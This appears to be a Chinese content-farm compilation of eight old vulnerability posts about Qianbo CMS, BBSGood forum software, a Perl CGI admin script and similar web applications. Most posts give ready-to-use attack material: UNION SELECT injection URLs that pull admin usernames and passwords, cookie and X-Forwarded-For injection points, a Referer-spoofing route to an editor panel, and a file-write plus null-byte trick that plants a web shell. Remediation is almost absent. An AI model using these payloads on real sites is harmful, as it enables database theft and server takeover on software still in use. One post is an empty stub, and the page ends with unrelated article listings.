一个防注入的小白错误千博企业程序漏洞预警(锦集8篇)由网友“比巴卜呼啦啦”投稿提供,下面是小编整理过的一个防注入的小白错误千博企业程序漏洞预警,欢迎您能喜欢,也请多多分享。
篇1:一个防注入的小白错误千博企业程序漏洞预警
千博企业站程序,防注入语句里有一个小白错误!
详细说明:If EnableStopInjection = True Then
If Request.QueryString “” Then Call StopInjection(Request.QueryString)
If Request.Cookies “” Then Call StopInjection(Request.Cookies)
If Request.Cookies “” Then Call StopInjection2(Request.Form)
End If
========================
防注入开始还是Encode的,通过Echo他们的解码程序,才发现,这里面把cookie是否空判断两次,造成了Form的恶意字符提交。
漏洞证明:一个鸡肋的前台用户登陆Md5值是1,语句写在用户名里,密码写1
' UNION Select 1,1,1,'a0b923820dcc509a',1,1,1,1,1,1,1,1,1,1,1,1,1,1,true,1,1,1 FROM Qianbo_admin Where ''='
这个鸡肋的前台登陆只能到达MemberLogin.asp的48行
If UCase(LoginName) = UCase(MemName) And LoginPassword = Password
LoginName取的就是刚刚的那串语句,而查询结果的用户名是1所以卡在了这里
=================================================================
www.xxxx.com /system/ewebeditor/asp/browse.asp?action=FOLDER&style=coolblue&cusdir=dir&type=FILE
后台ewebeditor没有做权限的验证,可导致游客直接浏览
FCK也可列目录用本地的Test连上他们的Fck
===================================================================
搜索框中输入
%' and 1=2 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13 from Qianbo_admin where '%'='
==================================================================
一堆鸡肋啊,
。
修复方案:
各种修复啊,你们都懂的!!!
作者 B1uH4ck@乌云
篇2:千博企业网站管理系统注入0day&GetShell漏洞预警
千博企业网站管理系统是一套比较常见的企业网站管理系统,很多市面上的企业网站都是改它的源码而来的,它的ASPX版本是封装起来的,就是说很多东西是放进DLL里面的,因此给查看源代码带来了难度。漏洞出现的版本是版的了,网上挺多的,其实想要说的重点是在后面的GetShell,很有技巧。
漏洞名称:千博企业网站管理系统SQL注入
测试版本:千博企业网站管理系统单语标准版 V2011 Build0608
漏洞详情:由于搜索处未对输入进行过滤,导致SQL注入。出现漏洞的文件名是:Search.Aspx。
漏洞验证:
访问localhost/Search.Aspx?sid=2&keyword=%' and '%Jarett%'='%Jarett,返回所有内容
访问www.xxx.com/Search.Aspx?sid=2&keyword=%' and '%Jarett%'='%sb,返回为空
那么就是存在注入了,不过可能无法直接union出来,要折半查找,慢慢手工刷吧,不一会儿,就刷到你脑残了,
得到密码以后一般直接加个admin目录就是后台了,不出意外的话,而且进入了后台以后,不出意外的话,你是无法GetShell的,但是本地测试时发现了个一个很有技巧的GetShell方法。这个系统使用了eWebEditor,但是无法直接利用,已经经过二次DLL封装处理的了。直接访问:
localhost/admin/Editor/aspx/style.aspx
是无法进入的,会带你到首页,要使用这个页面有两个条件:
1.身份为管理员并且已经登录。
2.访问地址来源为后台地址,也就是请求中必须带上refer:localhost/admin/
现在我们第一个条件已经有了,只需要使用火狐的插件或者其他插件来伪造一个refer头就可以直接进入样式管理接口:
localhost/admin/Editor/aspx/style.aspx
剩下的提权应该大家都会了。
之所以发出来是因为这个提权方式真的很特别,如果不是本地测试偶然发现,我相信没有多少人会去试一试加refer头。也算是奇葩GetShell了
提供修复措施:
加强过滤
篇3:枫叶防注入程序漏洞
该程序采用枫叶通用防注入1.0asp版,此防注入完全鸡肋,该类型网站程序pro_show.asp
有cookies注入或者变型注入,注入前可以先判断一下字段数:ORdeR By xx
注入语句:ANd 1=1 UNiOn SElEcT 1,username,3,4,5,6,7,8,9,10,password,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 FrOm lei_admin
字段数看个人判断的为准
密码为明文和明文都有,默认后台地址:admin/index/login.asp(也有修改的)
后台上传地址:admin/inc/upfile.htm 可直接上传asp文件
上传路径admin/upimg/
有些后台有双文件上传漏洞:admin/inc/upfiletwo.asp
篇4:千博企业网站管理系统HitCount.Asp页面注入漏洞漏洞预警
程序都加入了防注入代码的,在NoSql.asp文件中7kccopyd-code
<%
If EnableStopInjection = True Then
Dim Fy_Post, Fy_Get, Fy_In, Fy_Inf, Fy_Xh, Fy_db, Fy_dbstr
Fy_In = “’|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare”
Fy_Inf = Split(Fy_In, “|”)
If Request.Form“” Then
For Each Fy_Post In Request.Form
For Fy_Xh = 0 To UBound(Fy_Inf)
If InStr(LCase(Request.Form(Fy_Post)), Fy_Inf(Fy_Xh))0 Then
Response.Write “”
Response.End
End If
Next
Next
End If
If Request.QueryString“” Then
For Each Fy_Get In Request.QueryString
For Fy_Xh = 0 To UBound(Fy_Inf)
If InStr(LCase(Request.QueryString(Fy_Get)), Fy_Inf(Fy_Xh))0 Then
Response.Write “”
Response.End
Response.End
End If
Next
Next
End If
End If
%>
没有过滤cookie,不过程序在对变量传入时都限制了整型的,所以我也没办法,
继续看。
MemberLogin.Asp这个文件
Dim LoginName, LoginPassword, VerifyCode, MemName, Password, GroupID, GroupName, Working, rs, sql
LoginName = Trim(request.Form(“LoginName”))
LoginPassword = Md5(request.Form(“LoginPassword”))
Set rs = server.CreateObject(“adodb.recordset”)
sql = “select * from Qianbo_Members where MemName=’”&LoginName&“’”
没有加入防注入代码,不过却是登录验证页面,如果是MSsql数据库我们还好办点,
这个时候,在HitCount.Asp这个文件里发现,文件没有调用防注入代码
<%
Dim rs, m_SQL
Dim m_ID
m_ID = ReplaceBadChar(Request.QueryString(“id”))
m_LX = ReplaceBadChar(Request.QueryString(“LX”))
action = ReplaceBadChar(Request.QueryString(“action”))
If action = “count” Then
conn.Execute(“update ”&m_LX&“ set ClickNumber = ClickNumber + 1 where ID=” & m_ID & “”)
Else
m_SQL = “select ClickNumber from ”&m_LX&“ where ID=” & m_ID
Set rs = conn.Execute(m_SQL)
response.Write “document.write(”&rs(0)&“);”
rs.Close
Set rs = Nothing
End If
%>
就是这个文件了。我们来构造注入语句
如下:
获取管理密码:
www.xxx.com /hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20password%20from%20qianbo_admin
获取管理帐号:
127.0.0.1/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20adminname%20from%20qianbo_admin
找后台就访问www.***.com/sitemap.xml吧!
拿SHELL:
IIS的asp;分号解析漏洞还是害了不少人,千博企业网站管理系统.后台拿SHELL依旧是修改模板*.asp;*生成。
作者 逍遥复仇's Blog
篇5:一个CGI程序的漏洞挖掘漏洞预警
来源:phpeval's BLOG
作者:phpeval
昨天一个朋友扔我了一个cgi程序,叫我想办法拿一个SHELL。
CGI的程序我可是从来没看过。遇到这种对于我来说全新的东西。真的是有点没办法。不过扔来了。就当学习。我硬着头皮看。下面把我学习CGI程序的代码。以及漏洞发现的过程。进行记录一下:
打开该CGI程序。发现根目录下只有两个文件。admin.cgi和另外一个CGI。
CGI的第一行:
#!/usr/bin/perl
猜想该代码应该是用perl解析的。不过可怜的是,我用PHP,asp,js,vbs等脚本。就是没用过perl。继续硬着头皮上。装上perl。 改解析类型。因为perl装上后。解析了pl等后缀。硬是没有解析我的cgi。根据pl解析的方式。加上了cgi的解析。发现解析竟然成功了。而且代码也 正常运行。第一步很顺利。:)
开始学习并分析代码了,我打开admin.cgi:
use lib './pl';use lib './config';require'config.pl';&GetFormData(',');…………$Work=$FORM{Work};$Work='Certify' unless(defined $Work);&$Work;………………
看来perl的语法和php和asp等现在流行的语法都不一样。
第一行和后面的use lib './pl';use lib './config'; 我理解成指定了包含库在什么位置。以便在第三句到第五句的时候require。果然这些pl文件是在这两个文件甲里面的。我测试把pl文件换一个位置。 use lib './xxx';这样来执行代码。果然能正常运行。代表我的猜测是正确的。
&GetFormData(','); 这句我着实理解了很久。最后得出结论。一个字符串前面加上了&符号。就是呼叫函数或者过程的意思。就像vbs的call的意思。php呼叫函数。 当然就不需要CALL什么的了。GetFormData这个函数是他们自己写的。作用是把传进去的参数赋值给$FORM。这样如果我们在浏览器上提交 Work=phpeval.cn 那么$FORM{Work}的值就是phpeval.cn了。
unless(defined $Work); 这句我的理解是if not的意思。就是如果否定的意思。。如果没有设置$Work那么$Work就等于Certify。
再下一句就是&$Work; 呼叫$Work 。这样的话。$Work可以自定义。 但是2的就是$Work好象不能带参数。不知道我说的对不对。所以我有很多函数。比如FileWrite函数我都直接利用不了。在他下面定义了一大批的 sub。看来就是让他们来调用的。我当然不能跟他们的思路走。我找找找。。
config.pl:
sub RegistAct {FileRead(“$DataDir/count.dat”,*CountLines);map{ Error(1006) if((split//)[0] eq $FORM{DataTitle}) } @CountLines;$RegistLine = “$FORM{DataTitle}$FORM{PageTitle}$FORM{RelatedUrl}$FORM{JumpUrl}000newnewnewn”;FileWrite(“$DataDir/count.dat”,*RegistLine,1,1);&Unlock('DATA');Regist;}
相信这句已经不难懂了,
。FileWrite(“$DataDir/count.dat”,*RegistLine,1,1); 向“$DataDir/count.dat”写入数据$FORM{DataTitle}是自己定义的。我加上我的构造的cgi的代码。就写到 count.dat里面了。我提交语句
www.phpeval.cn/admin.cgi?Work=RegistAct&DataTitle=mycode
这样mycode 就被写入了count.dat文件。dat当然是不能被执行的。
不过幸好还有下面的函数。他的作用如果没有想错的话。应该是用来还原数据用的。不过没有验证。让我有机会了。
sub RecoveryAct {RefererCheck() if($MyUrl);MethodCheck () if($MethodChkMode);&Lock('DATA');FileRead(“$FORM{TargetFile}”,*BackupLines);FileWrite(“$FORM{DataDir}/count.dat”,*BackupLines);&Unlock('DATA');Recovery();}
我提交如下的连接:
www.phpeval.cn/admin.cgi?Work=RecoveryAct&TargetFile=DataDir/count.dat&DataDir=1.cgi%00
万幸的是%00终究还是截断了。呵呵。这样我的SHELL就出来了。
笔记:其实这个构造的过程是虚假的。因为cgi我刚刚接触。用来写马是需要很长时间的。但是幸运的是他们的服务器上还支持php.我直接备份出来的 是php的文件。所以构造这个东西我还是用的mycode来代替本来该写的cgi马。其实要写一个cgi马也不会困难到哪去。因为这个代码里面把目录遍 历,读文件。写文件的函数都构造好了。想改一个WEBSHELL也是不太难的。
本来是想写一个文章来介绍一下未知脚本漏洞的挖掘。但是没没有介绍到什么。本来写着写着想就写写cgi漏洞的挖掘。但是介绍得又太简单。最后干脆说公布一下这种程序的漏洞。但是这个程序少之又少。甚至我连CGI的马马都没做出来。人懒了。
篇6:BBSGood论坛程序多页面SQL注入漏洞漏洞预警
BBSGOOD是国内首创使用缓存技术的论坛,BBSGOOD的帖子和列表首页是可以生成静态HTML文件的,1.在文件DelShortInFo.asp中:selectid=trim(RequestCStringSafe(Request(“selectid”))) //第11行 If selectid“” then selectid = replace(selectid, “, ”, “ or ID=”) selectid=“Where ID=”&selectid else selectid=“where ID=0” end if Set rs = Server.CreateObject(“ADODB.Recordset”) sql=“select * from LxTel_shortinfo ”&selectid&“ ”程序对变量selectid过滤不当导致sql注入漏洞的产生。
测试代码:
127.0.0.1/DelShortInFo.asp?selectid=1/**/and/**/user%20in%20(0)--
2.在文件create_index_html.asp中:sql=“select top 1 Admin,UserName,Password from BBSGood_Admin where UserName='”&Request.Cookies(bbsinfo&“adminuser”)&“' ” //第127行程序没有验证用户是否登陆,导致cookies的值没有过滤而产生注入漏洞
3.在文件bottom.asp中:key=trim(Request(“key”)) //第25行key2=keykey3=keyselect case modecase 1 if instr(1,key,“ ”)>0 then str=Split(key,“ ”) key=“” key3=“” For ii=0 to UBound(str)key=key+“Subject LIKE '%”&str(ii)&“%' and ”key3=key3+“”&str(ii)&“ - ” Next key=left(key,len(key)-4) key3=left(key3,len(key3)-2) else key=“Subject LIKE '%”&key&“%'”……select case mode //第128行 case 1 If DataType=1 Then sql=“select ”&Top&“ ID,BoardID,Ftbq,TitleColor,Subject,PostUser,PostTime,RePostNum,Hits,LastPostTime,LastPostUser,IsTop,IsBest,CreateHtml,FileName,Admin,IsDel,BoldFace,Pollzt,CommTrue,postsh,upfiletype from LxTel_Topic where ”&key&“ and IsDel=0 and postsh=0 ”&BoardIDStr&“ order by id desc”变量key没有经过任何过滤放入sql语句导致注入漏洞的产生,
测试代码:127.0.0.1/bottom.asp?mode=1&key=a'/**/and/**/user>0--目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:www.bbsgood.com篇7:易想团购程序SQL注入漏洞漏洞预警
易想团购管理系统是一套定位中高端市场的团购内容管理系统,能够以最低的成本,最少的人力投入在最短的时间架设一个功能齐全、性能优异、规模庞大并易于维护的网站平台,
易想团购程序SQL注入漏洞漏洞预警
,
未作过滤导致注入
目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
www.easethink.com
篇8:BBSGood论坛程序moprepost.asp 变量HTTPXFORWARDEDFOR注入漏洞漏洞预警
BBSGOOD是国内首创使用缓存技术的论坛,BBSGOOD的帖子和列表首页是可以生成静态HTML文件的,
在文件moprepost.asp中:
if Request.ServerVariables(“HTTP_X_FORWARDED_FOR”)=“” then ipdress=Request.ServerVariables(“REMOTE_ADDR”) else ipdress=Request.ServerVariables(“HTTP_X_FORWARDED_FOR”) end if //第351行
……
sql=“insert into LxTel_Topic (BoardID,Ftbq,TitleColor,Subject,Text,PostUser,PostTime,RePostNum,RePostUser,IP,CreateHtml,FileName,LastPostTime,LastPostUser,BuyPostType,BuyNum,BuyExplanation,BuyUser,IsBest,FilePageNum,Hits,IsTop,Admin,IsDel,ZT,GG,CommTrue,BoldFace,postsh,myfiles) values ”
sql=sql+“(”&BoardID&“,'”&Ftbq&“','”&TitleColor&“','”&Server.HTMLEncode(titlename)&“','”&nl&“','”&UserName&“','”&PostTime&“',0,'”&UserName&“','”&ipdress&“',”&IsCreateHtml&“,'”&FileName&“','”&PostTime&“','”&UserName&“',”&BuyPostType&“,”&BuyNum&“,'”&BuyExplanation&“','”&UserName&“',0,0,0,0,0,0,0,0,0,”&BoldFace&“,”&shzt&“,0)” //第380行
conn.execute(sql)
环境变量HTTP_X_FORWARDED_FOR本地修改并提交,程序没有对放入sql语句中的该变量做过滤导致注入漏洞的产生
★ 合规工作心得体会
★ Geeklog SECauthenticate函数SQL注入漏洞
《一个防注入的小白错误千博企业程序漏洞预警.doc》将本文的Word文档下载到电脑,方便收藏和打印推荐度:点击下载文档【一个防注入的小白错误千博企业程序漏洞预警(锦集8篇)】相关文章:
学习内外部风险提示文件精神的心得体会2023-05-28
Wp暴目录漏洞全版本通杀漏洞预警2022-04-30
2022年唐山网络安全知识云课堂观后感2022-06-03
强化油水井测试的工艺方法论文2023-08-11
防松防散对照检查2023-12-18
星光贴吧1.3 后台拿SHELL及修复方案漏洞预警2022-05-31
网络安全工作自查报告2022-04-29
信息安全网络安全与网络空间安全分析论文2023-03-23
安全生产十五条措施全文一览2023-12-12
网络安全数据可视化概述的论文2022-05-07